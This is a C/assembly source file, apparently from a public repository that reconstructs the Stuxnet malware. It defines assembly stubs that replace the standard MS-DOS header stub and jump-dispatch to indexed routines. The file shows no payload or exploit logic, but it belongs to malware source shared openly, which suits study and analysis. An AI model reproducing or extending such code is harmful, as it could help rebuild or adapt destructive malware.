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https://github.com/micrictor/stuxnet.git
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75 lines
1.9 KiB
C
75 lines
1.9 KiB
C
/******************************************************************************************
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Copyright 2012-2013 Christian Roggia
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Licensed under the Apache License, Version 2.0 (the "License");
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you may not use this file except in compliance with the License.
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You may obtain a copy of the License at
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http://www.apache.org/licenses/LICENSE-2.0
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Unless required by applicable law or agreed to in writing, software
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distributed under the License is distributed on an "AS IS" BASIS,
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WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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See the License for the specific language governing permissions and
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limitations under the License.
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******************************************************************************************/
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// MODIFIED BY mic.ric.tor
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#include "AssemblyBlock0.h"
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/*************************************************************************
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** ASSEMBLY BLOCK 0. **
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*************************************************************************/
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// This replaces the builtin MSDOS stub that usually checks for compatability
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// ( the infamous "This program cannot be run in DOS mode")
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void __declspec(naked) __ASM_BLOCK0_0(void)
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{
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__asm
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{
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cmp edx, [eax]
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dec ecx
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stosd
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mov dl, 0
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jmp short __ASM_REF_0
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mov dl, 1
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jmp short __ASM_REF_0
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mov dl, 2
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jmp short __ASM_REF_0
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mov dl, 3
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jmp short __ASM_REF_0
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mov dl, 4
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jmp short __ASM_REF_0
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mov dl, 5
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jmp short $+2
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__ASM_REF_0:
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push edx
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call __ASM_BLOCK0_2
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}
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}
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void __declspec(naked) __ASM_BLOCK0_1(void)
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{
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__asm
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{
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xchg ebx, [ebx+0]
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add [eax], dl
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}
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}
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// Jump to address at top of stack
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void __declspec(naked) __ASM_BLOCK0_2(void)
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{
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__asm
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{
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pop edx
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jmp dword ptr [edx]
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}
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} |